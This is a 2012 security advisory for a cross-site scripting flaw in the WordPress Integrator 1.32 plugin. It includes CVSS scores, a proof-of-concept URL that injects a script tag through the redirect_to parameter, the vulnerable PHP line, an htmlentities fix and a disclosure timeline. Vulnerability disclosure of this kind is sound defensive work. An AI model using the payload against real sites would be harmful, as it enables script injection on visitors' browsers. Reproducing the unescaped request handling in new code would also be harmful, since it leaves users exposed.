WordPress Integrator 1.32 Cross Site Scripting

2012-03-28 / 2012-11-18
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory: WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability Advisory ID: SSCHADV2012-010 Author: Stefan Schurtz Affected Software: Successfully tested on WordPress Integrator 1.32 Vendor URL: http://wordpress.org/extend/plugins/wp-integrator/ Vendor Status: informed ========================== Vulnerability Description ========================== The WordPress plugin 'WordPress Integrator' is prone to a XSS vulnerability ================== PoC-Exploit ================== http://target/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT> // vulnerable code in wp-integrator.php function init_handler() { $url = parse_url($_SERVER["REQUEST_URI"]); ========= Solution ========= function init_handler() { $url = parse_url(htmlentities($_SERVER["REQUEST_URI"])); ==================== Disclosure Timeline ==================== 19-Mar-2012 - vendor informed 20-Mar-2012 - vendor informed (plugins@wordpress.org) ======== Credits ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References =========== http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (MingW32) Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools Comment: Download at: http://thunderbird.gnupt.de iEYEARECAAYFAk9xt3oACgkQg3svV2LcbMCoFQCdEqaArwVj3iuuCAqtljPkVGXS 1xgAn0ItuQyF6kMKxf0DQi1ppNWrHG9E =0eCo -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

References:

http://wordpress.org/extend/plugins/wp-integrator/


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